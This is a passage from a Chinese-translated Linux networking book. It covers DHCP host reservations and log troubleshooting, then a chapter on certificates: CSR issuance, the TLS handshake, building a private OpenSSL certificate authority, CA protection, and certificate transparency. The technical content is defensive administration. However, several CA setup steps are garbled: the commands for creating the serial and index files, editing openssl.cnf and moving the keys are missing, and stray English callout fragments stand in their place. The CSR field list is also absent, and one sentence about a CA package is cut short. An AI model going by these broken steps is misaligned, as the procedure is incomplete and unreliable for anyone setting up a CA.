现在,让我们将我们的基本配置扩展到包括静态预留-使用 DHCP 为打印机或其他网络设备(如时间钟、IP 摄像头、门锁甚至服务器)分配固定 IP 地址。

静态预留

要为主机添加静态定义,我们在dhcpd.conf中添加一个host部分。在其最基本的配置中,我们在看到特定 MAC 地址时分配一个固定的 IP 地址:

host PrtAccounting01 {
  hardware ethernet 00:b1:48:bd:14:9a;
  fixed-address 172.16.12.49;}

在某些情况下,工作站可能会漫游-例如,如果设备是无线的,并且可能在不同时间出现在不同的网络中,我们将希望分配其他选项,但保留 IP 地址动态。在这种情况下,我们告诉设备使用什么 DNS 后缀,并如何使用动态 DNS 进行注册:

host LTOP-0786 {
    hardware ethernet 3C:52:82:15:57:1D;
    option host-name "LTOP-0786";
    option domain-name "coherentsecurity.com";
    ddns-hostname "LTOP-786";
    ddns-domain-name "coherentsecurity.com";
}

或者,要为一组主机添加静态定义,请执行以下命令:

group {
    option domain-name "coherentsecurity.com";
    ddns-domainname "coherentsecurity";
    host PrtAccounting01 {
        hardware ethernet 40:b0:34:72:48:e4;
        option host-name "PrtAccounting01";
        ddns-hostname "PrtAccounting01";
        fixed-address 192.168.122.10;
    }
    host PrtCafe01 {
        hardware ethernet 00:b1:48:1c:ac:12;
        option host-name "PrtCafe01";
        ddns-hostname "PrtCafe01";
        fixed-address 192.168.125.9
    }
}

现在我们已经配置并运行了 DHCP,如果出现故障,我们有哪些工具可以帮助进行故障排除?让我们首先查看 DHCP 租约信息,然后深入分析dhcpd守护程序的日志。

日常使用中的简单 DHCP 日志记录和故障排除

要查看当前 DHCP 租约列表,请使用dhcp-lease-list命令,该命令应该给出以下列表(请注意,文本已换行;此输出每个设备租约一行):

$ dhcp-lease-list
Reading leases from /var/lib/dhcp/dhcpd.leases
MAC                IP              hostname       valid until         manufacturer
===============================================================================================
e0:37:17:6b:c1:39  192.168.122.161 -NA-           2021-03-22 14:53:26 Technicolor CH USA Inc.

请注意,此输出已从每个 MAC 地址中提取了 OUI,因此,例如,您可以使用此命令及其输出来寻找“奇怪”的 NIC 类型。这些在您的 VOIP 子网或大多数移动设备的子网中应立即显眼。即使在标准数据 VLAN 中,基于 OUI 的奇怪设备类型通常也很容易被发现。当客户端有一个标准的电话类型并且在第一次看到 OUI 提取时发现了一个非品牌电话,或者如果他们是 Windows 商店并且看到了他们没有预期的苹果电脑时,我经常看到这种情况。

您可以轻松地将租约信息“收集”到您选择的电子表格中,以便您可以修改该列表以满足您的需求,或者满足您的库存应用程序对输入的需求。或者,如果您只想将 MAC 地址提取到主机名表中,例如,执行以下命令:

$ dhcp-lease-list | sed –n '3,$p' |  tr –s " " | cut –d " " –f 1,3 > output.txt

用通俗的语言来说,这意味着运行dhcp-lease-list命令。从第 3 行开始打印整个列表,删除重复的空格,然后使用单个空格作为列分隔符取列 1 和 3。

如果您需要更详细的信息,或者如果您正在调查过去发生的事件,您可能需要更多或不同的数据 - 为此,您需要日志。 DHCP 日志到/var/log/dhcpd.log,输出非常详细。例如,您可以收集任何特定 MAC 地址的整个 DORA 序列:

cat dhcpd.log | grep e0:37:17:6b:c1:39 | grep "Mar 19" | more
Mar 19 13:54:15 pfSense dhcpd: DHCPDISCOVER from e0:37:17:6b:c1:39 via vmx1
Mar 19 13:54:16 pfSense dhcpd: DHCPOFFER on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1
Mar 19 13:54:16 pfSense dhcpd: DHCPREQUEST for 192.168.122.113 (192.168.122.1) from e0:37:17:6b:c1:39 via vmx1
Mar 19 13:54:16 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1

或者您可以迈出下一步,问“谁在这个日期使用了这个 IP 地址?”我们将收集整天的数据,以防多台主机可能使用了该地址。为了获得最终的地址分配,我们只需要确认(DHCPACK)数据包:

cat /var/log/dhcpd.log | grep 192.168.122.113 | grep DHCPACK | grep "Mar 19"
Mar 19 13:54:16 pfSense dhcpd: DHCPACK on 192.168.122.113 to
 e0:37:17:6b:c1:39 via vmx1
Mar 19 16:43:29 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1
Mar 19 19:29:19 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1
Mar 19 08:12:18 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1
Mar 19 11:04:42 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1

或者,更进一步地缩小范围,收集当天使用该 IP 地址的 MAC 地址,执行以下命令:

$ cat dhcpd.log | grep 192.168.122.113 | grep DHCPACK | grep "Mar 19" | cut -d " " -f 10 | sort | uniq
e0:37:17:6b:c1:39

现在我们有了从租约表和日志中提取 MAC 地址的工具,您可以在故障排除、更新库存或查找网络中的超出库存或“意外”主机时使用这些方法。我们将在本章的问答部分进一步探讨故障排除序列。

总结

通过讨论 DHCP 的内容,您现在应该有工具来为您的组织构建基本的 DHCP 服务器,无论是用于本地子网还是远程子网。您还应该能够实施基本的安全措施,以防止流氓 DHCP 服务器在您的网络上运行。从活动租约表和 DHCP 日志中提取基本数据应该是您组织工具包的一部分。

综合起来,这应该涵盖大多数组织在安装、配置和故障排除方面的需求,以及在库存输入和事件响应方面使用 DHCP。

在下一章中,我们将继续向我们的 Linux 主机添加核心网络服务。我们旅程的下一步将是使用公钥基础设施PKI)-使用私人和公共证书颁发机构和证书来帮助保护我们的基础设施。

问题

最后,这里是一些问题列表,供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. 现在是星期一,一个远程销售办事处刚刚打电话给 Helpdesk 说他们没有获得 DHCP 地址。您将如何排除故障?

  2. 您的工程部门没有网络访问权限,但您仍然可以访问子网。您将如何确定这是否与流氓 DHCP 服务器有关,如果是,您将如何找到该流氓设备?

进一步阅读

要了解更多关于这个主题的内容:

  • DHCP 监听和信任配置:

isc.sans.edu/forums/diary/Layer+2+Network+Protections+against+Man+in+the+Middle+Attacks/7567/

  • WPAD 攻击:

https://nakedsecurity.sophos.com/2016/05/25/when-domain-names-attack-the-wpad-name-collision-vulnerability/

https://us-cert.cisa.gov/ncas/alerts/TA16-144A

https://blogs.msdn.microsoft.com/ieinternals/2012/06/05/the-intranet-zone/

  • DHCP 和 DHCP 选项 RFC;还有关于 DHCP 选项的 IANA 参考:

动态主机配置协议:https://tools.ietf.org/html/rfc2131

DHCP 选项和引导协议BOOTP)供应商扩展:https://tools.ietf.org/html/rfc2132

用于动态主机配置协议版本 4(DHCPv4)的供应商标识供应商选项:https://tools.ietf.org/html/rfc3925

DHCP 和 BOOTP 参数:https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml

第八章:Linux 上的证书服务

在本章中,我们将涵盖几个涉及在 Linux 中使用证书来保护或加密流量,并特别是配置和使用各种证书颁发机构CA)服务器的主题。

我们将介绍这些证书的基本用途,然后继续构建证书服务器。最后,我们将讨论围绕证书服务的安全考虑,无论是在保护 CA 基础设施还是使用证书透明度CT)来强制信任模型,以及在组织内进行清单/审计或侦察。

在本章中,我们将涵盖以下主题:

  • 证书是什么?

  • 获取证书

  • 使用证书-Web 服务器示例

  • 构建私有证书颁发机构

  • 保护您的证书颁发机构基础设施

  • 证书透明度

  • 证书自动化和自动证书管理环境ACME)协议

  • OpenSSL速查表

当我们完成本章时,您将在 Linux 主机上拥有一个可用的私有 CA,并且对证书的发放方式以及如何管理和保护您的 CA 都有一个很好的理解,无论您是在实验室还是生产环境中使用它。您还将对标准证书握手的工作原理有很好的理解。

让我们开始吧!

技术要求

在本章中,我们可以继续使用同一台 Ubuntu 虚拟机VM)或工作站,因为这是一个学习练习。即使在我们既是 CA 又是证书申请人的部分,本节中的示例也都可以在这一台主机上完成。

鉴于我们正在构建证书服务器,如果您正在使用此指南来帮助构建生产主机,强烈建议您在单独的主机或虚拟机上构建。虚拟机是生产服务的首选-请阅读“保护您的 CA 基础设施”部分,了解更多建议。

证书是什么?

证书本质上是真相的证明 - 换句话说,证书是一份声明,“相信我,这是真的”。这听起来很简单,某种程度上确实如此。但在其他方面,证书的各种用途以及安全地部署 CA 基础设施是一个重大挑战-例如,我们在最近几年看到了一些公共 CA 的惊人失败:那些唯一业务是保护证书流程的公司在受到审查时却无法做到。我们将在本章后面的保护您的 CA 基础设施CT部分更详细地介绍保护 CA 的挑战和解决方案。

从根本上讲,工作站和服务器都信任一系列 CA。这种信任是通过使用加密签名的文档来传递的,这些文档是每个 CA 的公共证书,存储在 Linux 或 Windows 主机的特定位置上。

例如,当您浏览到一个 Web 服务器时,本地的证书存储会被引用,以查看我们是否应该信任 Web 服务器的证书。这是通过查看该 Web 服务器的公共证书,并查看它是否由您信任的 CA 之一(或其下属)签名而完成的。实际签名使用下属 CA 是常见的-每个公共 CA 都希望尽可能保护其 CA,因此创建了下属 CA颁发 CA,这些是公共互联网所见的。

组织可以创建自己的 CA,用于验证其用户、服务器、工作站和网络基础设施之间的身份和授权。这使得信任保持在“家庭”内,完全受到组织的控制。这也意味着组织可以使用内部和免费的证书服务,而不必为数百或数千个工作站或用户证书付费。

现在我们知道了证书是什么,让我们看看它们是如何颁发的。

获取证书

在下图中,一个应用程序 - 例如,一个 Web 服务器 - 需要一个证书。这个图看起来复杂,但我们将把它分解成简单的步骤:

图 8.1 - 证书签名请求(CSR)和颁发证书

图 8.1 - 证书签名请求(CSR)和颁发证书

让我们逐步了解创建证书涉及的步骤,从最初的请求到准备在目标应用程序中安装证书(步骤 1-6),如下所示:

  1. 该过程从创建 CSR 开始。这只是一个简短的文本文件,用于标识请求证书的服务器/服务和组织。这个文件在加密时被“混淆” - 虽然字段是标准化的,只是文本,但最终结果不是人类可读的。然而,诸如 OpenSSL 之类的工具可以读取 CSR 文件和证书本身(如果需要示例,请参见本章末尾的OpenSSL 备忘单部分)。CSR 的文本信息包括这些标准字段的一些或全部:

上述列表并非 CSR 中可以使用的字段的详尽列表,但这些是最常见的字段。

我们需要所有这些信息的原因是,当客户端连接到使用证书的服务时(例如,使用超文本传输安全协议HTTPS)和传输层安全TLS)的 Web 服务器),客户端可以验证连接到的服务器名称是否与 CN 字段或其中一个 SAN 条目匹配。

这使得 CA 操作员验证这些信息变得很重要。对于面向公众的证书,操作员/供应商通过验证公司名称、电子邮件等信息来完成这一过程。自动化解决方案通过验证您对域或主机具有管理控制权来实现这一点。

  1. 仍然遵循图 8.1,接下来将这些文本信息与申请人的公钥加密组合,形成CSR文件。

  2. 现在完成的 CSR 被发送到 CA。当 CA 是公共 CA 时,通常通过网站完成。自动化的公共 CA(如Let's Encrypt)通常使用 ACME 应用程序编程接口API)在申请人和 CA 之间进行通信。在高风险的实施中,步骤 36可能使用安全媒体,通过正式的保管链程序在受信任的各方之间物理交接。重要的是申请人和 CA 之间的通信使用一些安全的方法。虽然可能存在较不安全的方法,如电子邮件,但不建议使用。

  3. 在 CA 处,身份信息(我们仍然遵循图 8.1中的信息流)得到验证。这可能是一个自动化或手动的过程,取决于几个因素。例如,如果这是一个公共 CA,您可能已经有一个帐户,这将使半自动化检查更有可能。如果您没有帐户,这个检查很可能是手动的。对于私人 CA,这个过程可能是完全自动化的。

  4. 一旦验证,验证的 CSR 将与 CA 的私钥加密组合,创建最终的证书。

  5. 然后将此证书发送回申请人,并准备安装到将使用该证书的应用程序中。

请注意,在此交易中,申请人的私钥从未被使用 - 我们将在 TLS 密钥交换中看到它在哪里使用(在本章的下一节)。

现在我们了解了证书是如何创建或发布的,应用程序如何使用证书来信任服务或加密会话流量呢?让我们看看浏览器和受 TLS 保护的网站之间的交互,以了解这是如何工作的。

使用证书 - Web 服务器示例

当被问及时,大多数人会说证书最常见的用途是使用 HTTPS 协议保护网站。虽然这可能不是当今互联网上证书最常见的用途,但它确实仍然是最显眼的。让我们讨论一下 Web 服务器的证书如何用于在服务器中提供信任并帮助建立加密的 HTTPS 会话。

如果你还记得我们 CSR 示例中的申请人,在这个例子中,申请人是www.example.com这个网站,可能驻留在 Web 服务器上。我们将从上一个会话结束的地方开始我们的例子——证书已经颁发并安装在 Web 服务器上,准备好接受客户端连接。

步骤 1:客户端向 Web 服务器发出初始的 HTTPS 请求,称为客户端 HELLO图 8.2)。

在这个初始的Hello交换中,客户端向服务器发送以下内容:

  • 它支持的 TLS 版本

  • 它支持的加密密码

这个过程在下面的图表中有所说明:

图 8.2 – TLS 通信从客户端 hello 开始

图 8.2 – TLS 通信从客户端 hello 开始

Web 服务器通过发送其证书进行回复。如果你还记得,证书包含几个信息。

步骤 2:Web 服务器通过发送其证书(图 8.3)进行回复。如果你还记得,证书包含以下几个信息:

  • 陈述服务器身份的文本信息

  • Web 服务器/服务的公钥

  • CA 的身份

服务器还发送以下内容:

  • 支持的 TLS 版本

  • 它在密码中的第一个提议(通常是服务器支持的客户端列表中最高强度的密码)

这个过程在下面的图表中有所说明:

图 8.3 – TLS 交换:服务器 hello 被发送并由客户端验证

图 8.3 – TLS 交换:服务器 hello 被发送并由客户端验证

步骤 3:客户端接收此证书和其他信息(称为服务器 hello),然后(如图 8.4中所示)验证一些信息,如下所示:

  • 我刚刚收到的证书中是否包含我请求的服务器的身份(通常会在 CN 字段或 SAN 字段中)?

  • 今天的日期/时间是否在证书的之后之前日期之间(也就是说,证书是否已过期)?

  • 我信任 CA 吗?它将通过查看其证书存储来验证这一点,其中通常包含几个 CA 的公共证书(几个公共 CA,通常还有一个或多个在组织内部使用的私有 CA)。

  • 客户端还有机会通过向在线证书状态协议OCSP)服务器发送请求来检查证书是否已被吊销。检查证书吊销列表CRL)的旧方法仍然受到支持,但不再经常使用——这个列表被证明在成千上万的吊销证书中不太适用。在现代实现中,CRL 通常由已吊销的公共 CA 证书组成,而不是常规服务器证书。

  • 信任吊销检查非常重要。这些检查验证服务器是否是其所声称的。如果这些检查没有进行,那么任何人都可以建立一个声称是你的银行的服务器,你的浏览器就会让你登录到这些恶意服务器上。现代网络钓鱼活动经常试图通过相似域和其他方法来欺骗系统,让你做这样的事情。

步骤 4:如果证书在客户端通过了所有检查,客户端将生成一个伪随机对称密钥(称为预主密钥)。这个密钥使用服务器的公钥加密并发送给服务器(如图 8.4所示)。这个密钥将用于加密实际的 TLS 会话。

在这一点上,客户端被允许修改密码。最终密码是客户端和服务器之间的协商-请记住这一点,因为当我们讨论攻击和防御时,我们将深入探讨这一点。长话短说-客户端通常不会更改密码,因为服务器已经选择了来自客户端列表的密码。

该过程在以下图表中说明:

图 8.4 - 客户端密钥交换,服务器有最后一次机会更改密码

图 8.4 - 客户端密钥交换,服务器有最后一次机会更改密码

步骤 5:在这一步之后,服务器也有最后一次更改密码的机会(仍在图 8.4中)。这一步通常不会发生,密码协商通常已经完成。预主密钥现在已经最终确定,并称为主密钥。

步骤 6:现在证书验证已经完成,密码和对称密钥都已经达成一致,通信可以继续进行。加密是使用上一步的对称密钥进行的。

这在以下图表中说明:

图 8.5 - 协商完成,通信使用主密钥(密钥)进行加密进行

图 8.5 - 协商完成,通信使用主密钥(密钥)进行加密进行

在这种交换中有两个重要的事情暗示但尚未明确说明,如下:

  • 一旦协商完成,证书将不再使用-加密将使用协商的主密钥进行。

  • 在正常的协商过程中,不需要 CA。当我们开始讨论保护组织的 CA 基础设施时,这将成为一个重要的观点。

现在我们对证书的工作原理有了更好的理解(至少在这个用例中),让我们为我们的组织构建一个基于 Linux 的 CA。我们将以几种不同的方式进行此操作,以便为您的组织提供一些选项。我们还将在下一章[第九章](B16336_09_Final_NM_ePub.xhtml#_idTextAnchor153),Linux 的 RADIUS 服务中使用 CA,因此这是一组重要的示例,需要密切关注。

构建私有证书颁发机构

构建私有 CA 始于我们面临的每个基础设施包的相同决定:我们应该使用哪个 CA 包?与许多服务器解决方案一样,有几种选择。以下概述了一些选项:

  • OpenSSL在技术上为我们提供了编写自己的脚本和维护公钥基础设施PKI)位和片段的目录结构的所有工具。您可以创建根和从属 CA,制作 CSR,然后签署这些证书以制作真正的证书。实际上,虽然这种方法得到了普遍支持,但对大多数人来说,它最终变得有点太过于手动化。

  • 证书管理器是与 Red Hat Linux 和相关发行版捆绑在一起的 CA。

  • openSUSE和相关发行版可以使用本机另一种设置工具YaST)配置和管理工具作为 CA。

  • Easy-RSA是一组脚本,本质上是对相同的 OpenSSL 命令的包装。

  • Smallstep实现更多自动化-它可以配置为私有 ACME 服务器,并且可以轻松允许您的客户请求和履行其自己的证书。

  • LetsEncrypt GitHub 页面并用 Go 编写。

正如您所看到的,有相当多的 CA 包可供选择。大多数较旧的包都是对各种 OpenSSL 命令的包装。较新的包具有额外的自动化功能,特别是围绕 ACME 协议,这是由LetsEncrypt首创的。先前提到的每个包的文档链接都在本章的进一步阅读列表中。作为最广泛部署的 Linux CA,我们将使用 OpenSSL 构建我们的示例 CA 服务器。

使用 OpenSSL 构建 CA

因为我们只使用几乎每个 Linux 发行版都包含的命令,所以在开始使用此方法构建我们的 CA 之前,无需安装任何内容。

让我们按照以下步骤开始这个过程:

  1. 首先,我们将为 CA 创建一个位置。/etc/ssl目录应该已经存在于您的主机文件结构中,我们将通过运行以下代码向其中添加两个新目录:
$ sudo mkdir /etc/ssl/CA
$ sudo mkdir /etc/ssl/newcerts
  1. 接下来,请记住,随着证书的发放,CA 需要跟踪序列号(通常是顺序的),以及关于每个证书的一些详细信息。让我们在serial文件中开始序列号,从1开始,并创建一个空的index文件来进一步跟踪证书,如下所示:
sudo syntax when creating a serial file. This is needed because if you just use sudo against the echo command, you don't have rights under the /etc directory. What this syntax does is start a sh temporary shell and pass the character string in quotes to execute using the -c parameter. This is equivalent to running sudo sh or su, executing the command, and then exiting back to the regular user context. However, using sudo sh –c is far preferable to these other methods, as it removes the temptation to stay in the root context. Staying in the root context brings with it all kinds of opportunities to mistakenly and permanently change things on the system that you didn't intend—anything from accidentally deleting a critical file (which only root has access to), right up to—and including—mistakenly installing malware, or allowing ransomware or other malware to run as root.
  1. 接下来,我们将编辑现有的/etc/ssl/openssl.cnf配置文件,并导航到[CA_default]部分。默认文件中的此部分如下所示:
private_key line, but be sure to double-check it for correctness while you are in the file.
  1. 接下来,我们将创建一个自签名的根证书。这对于私有 CA 的根是正常的。(在公共 CA 中,您将创建一个新的 CSR 并让另一个 CA 对其进行签名,以提供对受信任根的。)

由于这是一个组织的内部 CA,我们通常会选择一个很长的寿命,这样我们就不必每一两年重建整个 CA 基础设施。让我们选择 10 年(3,650 天)。请注意,此命令要求输入密码(不要丢失!)以及其他将标识证书的信息。请注意在以下代码片段中,openssl命令一步创建了 CA(cakey.pem)和根证书(cacert.pem)的私钥。在提示时,请使用您自己的主机和公司信息填写请求的值:

$ openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
Generating a RSA private key
...............+++++
.................................................+++++
writing new private key to 'cakey.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CA
State or Province Name (full name) [Some-State]:ON
Locality Name (eg, city) []:MyCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Coherent Security
Organizational Unit Name (eg, section) []:IT
Common Name (e.g. server FQDN or YOUR name) []:ca01.coherentsecurity.com
Email Address []:
  1. 在最后一步中,我们将密钥和根证书移动到正确的位置。请注意,您需要再次拥有sudo权限才能执行此操作。
mv command. In security engagements, it's common to find certificates and keys stored in all sorts of temporary or archive locations—needless to say, if an attacker is able to obtain the root certificate and private key for your certificate server, all sorts of shenanigans can result!

您的 CA 现在已经开业!让我们继续创建 CSR 并对其进行签名。

请求和签署 CSR

让我们创建一个测试 CSR——您可以在我们一直在使用的相同示例主机上执行此操作。首先,为此证书创建一个私钥,如下所示:

$ openssl genrsa -des3 -out server.key 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
...............................................+++++
........................+++++
e is 65537 (0x010001)
Enter pass phrase for server.key:
Verifying - Enter pass phrase for server.key:

请记住该密码,因为在安装证书时将需要它!还要注意,该密钥具有2048位模数——这是您应该期望在此目的上看到或使用的最小值。

证书密钥的密码非常重要且非常敏感,您应该将它们存储在安全的地方——例如,如果您计划在证书到期时(或者希望在此之前)更新该证书,您将需要该密码来完成该过程。我建议不要将其保存在纯文本文件中,而是建议使用密码保险库或密码管理器来存储这些重要的密码。

请注意,许多守护程序样式的服务将需要没有密码的密钥和证书(例如 Apache Web 服务器、Postfix 和许多其他服务),以便在没有干预的情况下自动启动。如果您为这样的服务创建密钥,我们将去除密码以创建一个不安全的密钥,如下所示:

$ openssl rsa -in server.key -out server.key.insecure
Enter pass phrase for server.key:
writing RSA key

现在,让我们重命名密钥——server.key安全密钥变为server.key.secure,而server.key.insecure不安全密钥变为server.key,如下面的代码片段所示:

$ mv server.key server.key.secure
$ mv server.key.insecure server.key

无论我们创建哪种类型的密钥(带有或不带有密码),最终文件都是server.key。使用此密钥,我们现在可以创建 CSR。此步骤需要另一个密码,该密码将用于签署 CSR,如下面的代码片段所示:

~$ openssl req -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CA
State or Province Name (full name) [Some-State]:ON
Locality Name (eg, city) []:MyCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Coherent Security
Organizational Unit Name (eg, section) []:IT
Common Name (e.g. server FQDN or YOUR name) []:www.coherentsecurity.com
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:passphrase
An optional company name []:

现在我们在server.csr文件中有了 CSR,它已经准备好被签名。在证书服务器上(对我们来说恰好是同一台主机,但这不是典型的情况),使用以下命令对CSR文件进行签名:

$ sudo openssl ca -in server.csr -config /etc/ssl/openssl.cnf

这将生成几页输出(未显示)并要求确认几次。其中一个确认将是我们在之前创建 CSR 时提供的密码。当一切都说完了,你会看到实际的证书在输出的最后一部分滚动显示。你还会注意到,由于我们没有指定任何日期,证书从现在开始有效,并且设置在一年后过期。

我们刚刚签署的证书存储在/etc/ssl/newcerts/01.pem中,如下面的代码片段所示,并且应该准备好供请求服务使用:

$ ls /etc/ssl/newcerts/
01.pem

随着我们的进展,颁发的证书将递增到02.pem03.pem等等。

请注意在下面的代码片段中,index文件已经更新了证书的详细信息,序列号文件已经递增,准备好下一个签名请求:

$ cat /etc/ssl/CA/index.txt
V       220415165738Z           01      unknown /C=CA/ST=ON/O=Coherent Security/OU=IT/CN=www.coherentsecurity.com
$ cat /etc/ssl/CA/serial
02

完成了一个 CA 示例并且使用了一个测试证书,让我们看看如何保护你的 CA 基础设施。

保护你的证书颁发机构基础设施

通常建议采取一些最佳实践来保护你的 CA。一些“传统”的建议是针对个别 CA 的,但随着虚拟化在大多数数据中心变得普遍,这带来了额外的机会来简化和保护 CA 基础设施。

传统的经过验证的建议

传统的建议是为了保护组织的证书基础设施,利用它只在颁发证书时使用的事实。如果你能很好地掌握新证书需求的时间,那么在不需要时可以关闭 CA 服务器。

如果你需要更灵活性,可以创建一个分级证书基础设施。为你的组织创建一个根 CA,它的唯一工作是签署用于创建下级 CA(或可能是多个下级 CA)的证书。然后使用这些下级 CA 来创建所有客户端和服务器证书。根 CA 可以在不需要时关闭或以其他方式下线,除了打补丁。

如果一个组织特别关心保护他们的 CA,可以使用专用硬件,比如硬件安全模块(HSM)来存储他们的 CA 的私钥和证书,通常是在保险箱或其他离线、安全的地方。HSM 的商业示例包括 Nitrokey HSM 或 YubiHSM。NetHSM 是开源 HSM 的一个很好的例子。

现代建议

前面的建议仍然完全有效。我们在现代基础设施中看到有助于保护我们的 CA 的新要素是服务器虚拟化。在大多数环境中,这意味着每台服务器都有一个或多个镜像备份存储在本地磁盘上,因为 VM 是如何备份的。因此,如果主机受到无法修复的损坏,无论是来自恶意软件(通常是勒索软件)还是一些严重的配置错误,只需要大约 5 分钟的时间就可以将整个服务器回滚到前一天的镜像,或者在最坏的情况下,回滚到两天前的镜像。

在这种恢复中丢失的一切将是在那个丢失间隔中颁发的任何证书的服务器数据,如果我们再次回顾一下会话是如何协商的,那么服务器数据实际上从未在建立会话时使用。这意味着服务器为恢复所花费的这段时光旅行不会影响任何使用颁发的证书进行加密协商的客户端或服务器(或者认证,当我们到达第九章Linux 的 RADIUS 服务时我们会看到)。

在较小的环境中,根据情况,你可以只使用一个 CA 服务器轻松地保护你的基础设施——只需保留镜像备份,这样如果需要恢复,那个逐字节的镜像是可用的,并且可以在几分钟内回滚。

在更大的环境中,为您的 CA 基础设施建立一个分层模型仍然是有意义的——例如,这可以使合并和收购变得更加容易。分层模型有助于将基础设施保持为一个单一组织,同时使得更容易将多个业务单元的 CA 连接到一个主服务器下。然后,您可以使用操作系统OS)的安全性来限制在某个部门发生恶意软件事件时的扩散区域;或者在日常模型中,如果需要,您可以使用相同的操作系统安全性来限制业务单元之间的证书管理访问。

依赖镜像备份来保护您的 CA 基础设施的主要风险在于 CA 服务器的传统用法——在某些环境中,可能只偶尔需要证书。例如,如果您在本地保留了一周的服务器镜像备份,但需要一个月(或几个月)才意识到您应用的脚本或补丁已经使您的 CA 服务器崩溃,那么从备份中恢复可能会变得棘手。这可以通过更广泛地使用证书(例如,在对无线客户端进行身份验证以连接到无线网络时)以及自动证书颁发解决方案(例如 Certbot 和 ACME 协议(由 Let's Encrypt 平台开创))来解决。这些事情,特别是结合起来,意味着 CA 的使用频率越来越高,以至于如果 CA 服务器无法正常运行,情况现在可能会在几小时或几天内升级,而不是几周或几个月内。

现代基础设施中的 CA 特定风险

证书颁发机构CA不是在派对上随意谈论的术语,甚至在工作的休息室里也不会出现。这意味着,如果您给您的 CA 服务器命名为ORGNAME-CA01,虽然名称中的CA01部分显然对您很重要,但不要指望主机名中的CA对其他人来说也很重要。例如,对于您的经理、程序员、在您度假时替您工作的人,或者因某种原因拥有超级用户密码的暑期学生来说,这很可能不会引起注意。如果您是顾问,可能没有人实际在组织中知道 CA 的作用。

这意味着,特别是在虚拟化基础设施中,我们经常会看到 CA 虚拟机被(某种程度上)意外删除。这种情况发生的频率足够高,以至于当我构建一个新的 CA 虚拟机时,我通常会将其命名为ORGNAME-CA01 – 不要删除,联系 RV,其中RV代表拥有该服务器的管理员的缩写(在这种情况下,是我)。

当任何服务器虚拟机被删除时,设立警报可能是个明智的选择,通知管理团队的任何人——这将为您提供另一层防御,或者至少及时通知,以便您可以快速恢复。

最后,在您的虚拟化基础设施上实施基于角色的访问控制RBAC)是每个人的最佳实践清单上的事项。任何特定服务器的直接管理员应该能够删除、重新配置或更改该服务器的电源状态。这种控制级别在现代虚拟化器中很容易配置(例如,VMware 的 vSphere)。这至少使意外删除虚拟机变得更加困难。

现在我们已经制定了一些安全实践来保护我们的 CA,让我们从攻击者和基础设施防御者的角度来看看 CT。

证书透明性

回顾本章的开头段落,回想一下 CA 的主要工作之一是信任。无论是公共 CA 还是私人 CA,您都必须信任 CA 来验证请求证书的人是否是他们所说的那个人。如果这个检查失败,那么任何想要代表yourbank.com的人都可以请求该证书,并假装是你的银行!在当今以网络为中心的经济中,这将是灾难性的。

当这种信任失败时,各种 CA、浏览器团队(尤其是 Mozilla、Chrome 和 Microsoft)以及操作系统供应商(主要是 Linux 和 Microsoft)将简单地从各种操作系统和浏览器证书存储中删除违规的 CA。这基本上将由该 CA 签发的所有证书移至不受信任类别,迫使所有这些服务从其他地方获取证书。这在最近的过去发生过几次。

DigiNotar 在遭到破坏后被删除,攻击者控制了其一些关键基础设施。一个欺诈的*.google.com——请注意,*是使这个证书成为通配符,可以用来保护或冒充该域中的任何主机。不仅是那个欺诈的通配符被签发了,它还被用来拦截真实的流量。不用说,每个人对此都持负面看法。

在 2009 年至 2015 年期间,赛门铁克 CA 签发了许多测试证书,包括属于谷歌和 Opera(另一个浏览器)的域。当这一事件曝光后,赛门铁克受到了越来越严格的限制。最终,赛门铁克的工作人员反复跳过了验证重要证书的步骤,该 CA 最终在 2018 年被删除。

为了帮助检测这种类型的事件,公共 CA 现在参与证书透明度CT),如请求评论RFC6962中所述。这意味着当证书被签发时,该 CA 会将有关证书的信息发布到其 CT 服务中。这个过程对于所有用于安全套接字层SSL)/TLS 的证书是强制性的。这个程序意味着任何组织都可以检查(或更正式地说,审计)它购买的证书的注册表。更重要的是,它可以检查/审计它没有购买的证书的注册表。让我们看看这在实践中是如何运作的。

使用 CT 进行库存或侦察

正如我们讨论过的,CT 服务存在的主要原因是通过允许任何人验证或正式审计已签发的证书来确保对公共 CA 的信任。

然而,除此之外,组织可以查询 CT 服务,看看是否有为他们公司购买的合法证书,而这些证书是由不应该从事服务器业务的人购买的。例如,市场团队建立了一个与云服务提供商合作的服务器,绕过了可能已经讨论过的所有安全和成本控制,如果信息技术IT)组为他们代建服务器的话。这种情况通常被称为影子 IT,即非 IT 部门决定用他们的信用卡去做一些并行的、通常安全性较差的服务器,而真正的IT 组通常直到为时已晚才发现。

或者,在安全评估或渗透测试的情境中,找到客户的所有资产是谜题的关键部分——你只能评估你能找到的东西。使用 CT 服务将找到为公司颁发的所有 SSL/TLS 证书,包括测试、开发和质量保证(QA)服务器的任何证书。测试和开发服务器通常是最不安全的,而且这些服务器通常为渗透测试人员提供了一个开放的入口。很多时候,这些开发服务器包含了生产数据库的最新副本,因此在许多情况下,入侵开发环境就等于完全入侵。不用说,真正的攻击者也使用这些方法来找到这些同样脆弱的资产。这也意味着在这种情况下的蓝队(IT 组中的防御者)应该经常检查诸如 CT 服务器之类的东西。

